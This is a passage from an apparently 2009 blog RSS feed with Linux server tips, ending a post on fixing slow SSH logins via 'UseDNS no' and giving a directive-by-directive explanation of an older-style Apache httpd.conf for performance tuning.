<blockquote><p><strong>vi /etc/ssh/sshd_config </strong> (and add the below line:)</p></blockquote>
<h3>UseDNS no</h3>
<pre></pre>
<p>So enjoy SSH <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/01/ssh-slow-login-problem/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>All about httpd.conf</title>
		<link>http://www.gossiplime.com/2009/01/all-about-httpdconf/</link>
		<comments>http://www.gossiplime.com/2009/01/all-about-httpdconf/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 22:21:08 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[hostname]]></category>
		<category><![CDATA[httpd]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=163</guid>
		<description><![CDATA[This  httpd.conf file to set itself up for this particular configuration setup with: ServerType standalone The option ServerType specifies how Apache should run on the system. You can run it from the super-server inetd, or as standalone daemon. It&#8217;s highly recommended to run Apache in standalone type for better performance and speed. ServerRoot &#8220;/etc/httpd&#8221; The [...]]]></description>
			<content:encoded><![CDATA[<div class="glosslist">This  <tt class="filename">httpd.conf</tt> file to set itself up for this particular configuration setup with:</div>
<div class="glosslist">
<dl>
<dt><span style="color: #008080;"><strong><span class="envar">ServerType standalone</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">ServerType</tt> specifies how Apache should run on the system. You can run it from the super-server inetd, or as standalone daemon. It&#8217;s highly recommended to run Apache in standalone type for better performance and speed.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">ServerRoot &#8220;/etc/httpd&#8221;</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">ServerRoot</tt> specifies the directory in which the configuration files of the Apache server lives. It allows Apache to know where it can find its configuration files when it starts.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">PidFile</span> <span class="filename">/var/run/httpd.pid</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">PidFile</tt> specifies the location where the server will record the process id of the daemon when it starts. This option is only required when you configure Apache in standalone mode.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">ResourceConfig</span> <span class="filename">/dev/null</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">ResourceConfig</tt> specifies the location of the old <tt class="filename">srm.conf</tt> file that Apache read after it finished reading the <tt class="filename">httpd.conf</tt> file. When you set the location          to <tt class="filename">/dev/null,</tt> Apache allows you to include the content of this file in <tt class="filename">httpd.conf</tt> file, and in this manner, you have just one file that handles all your configuration          parameters for simplicity.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">AccessConfig</span> <span class="filename">/dev/null</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">AccessConfig</tt> specifies the location of the old <tt class="filename">access.conf</tt> file that Apache read after it finished reading the <tt class="filename">srm.conf</tt> file. When you set the location to <tt class="filename">/dev/null</tt>,         Apache allows you to include the content of this file in <tt class="filename">httpd.conf</tt> file, and in this manner, you have just one file that handles all your configuration parameters for simplicity.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">Timeout 300</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">Timeout</tt> specifies the amount of time Apache will wait for a GET, POST, PUT request and ACKs on transmissions. You can safely leave this option on its default values.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">KeepAlive On</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">KeepAlive</tt>, if set to <tt class="envar">On</tt>, specifies enabling persistent connections on this web server. For better performance, it&#8217;s recommended to set this option to <tt class="envar">On</tt>, and allow more than one request per connection.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">MaxKeepAliveRequests 0</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">MaxKeepAliveRequests</tt> specifies the number of requests allowed per connection when the <tt class="envar">KeepAlive</tt> option above is set to <tt class="envar">On.</tt> When the value of this option is set to <tt class="envar">0</tt> then unlimited          requests are allowed on the server. For server performance, it&#8217;s recommended to allow unlimited requests.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">KeepAliveTimeout 15</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">KeepAliveTimeout</tt> specifies how much time, in seconds, Apache will wait for a subsequent request before closing the connection. The value of <tt class="envar">15</tt> seconds is a good average for server performance.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">MinSpareServers 16</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">MinSpareServers</tt> specifies the minimum number of idle child server processes for Apache, which is not handling a request. This is an important tuning parameter regarding the performance of the Apache web server. For high load operation, a value of <tt class="envar">16</tt> is recommended by various benchmarks on the Internet.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">MaxSpareServers 64</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">MaxSpareServers</tt> specifies the maximum number of idle child server processes for Apache, which is not handling a request. This is also an important tuning parameter regarding the performance of the Apache web server. For high load operation, a value of <tt class="envar">64</tt> is recommended by various benchmarks on the Internet.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">StartServers 16</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">StartServers</tt> specifies the number of child server processes that will be created by Apache on start-up. This is, again, an important tuning parameter regarding the performance of the Apache web server. For high load operation, a value of <tt class="envar">16</tt> is recommended by various benchmarks on the Internet.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">MaxClients 512</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">MaxClients</tt> specifies the number of simultaneous requests that can be supported by Apache. This too is an important tuning parameter regarding the performance of the Apache web server. For high load operation, a value of <tt class="envar">512</tt> is recommended by various benchmarks on the Internet.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">MaxRequestsPerChild 100000</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">MaxRequestsPerChild</tt> specifies the number of requests that an individual child server process will handle. This too is an important tuning parameter regarding the performance of the Apache web server.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">User www</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">User</tt> specifies the <span class="acronym">UID</span> that Apache server will run as. It&#8217;s important to create a new user that has minimal access to the system, and functions just for the purpose of running the web server daemon.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">Group www</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">Group</tt> specifies the <span class="acronym">GID</span> the Apache server will run as. It&#8217;s important to create a new group that has minimal access to the system and functions just for the purpose of running the web server daemon.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">DirectoryIndex index.htm index.html index.php index.php3 default.html index.cgi</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">DirectoryIndex</tt> specifies the files to use by Apache as a pre-written <span class="acronym">HTML</span> directory index. In other words, if Apache can&#8217;t find the default index page to display, it&#8217;ll try the next entry in this parameter, if available. To improve performance of your web server it&#8217;s recommended to list the most used default index pages of your web site first.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">Include conf/mmap.conf</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">Include</tt> specifies the location of other files that you can include from within the server configuration files <tt class="filename">httpd.conf</tt>. In our case, we include the <tt class="filename">mmap.conf</tt> file located          under <tt class="filename">/etc/httpd/conf</tt> directory. This file <tt class="filename">mmap.conf</tt> maps files into memory for faster serving.</p></blockquote>
</dd>
<dt><span style="color: #008080;"><strong><span class="envar">HostnameLookups Off</span></strong></span></dt>
<dd>
<blockquote><p>The option <tt class="envar">HostnameLookups</tt>, if set to <tt class="envar">Off</tt>, specifies the disabling of <span class="acronym">DNS</span> lookups. It&#8217;s recommended to set this option to <tt class="envar">Off</tt> in order to save the network traffic time, and to improve          the performance of your Apache web server.</p></blockquote>
</dd>
</dl>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/01/all-about-httpdconf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

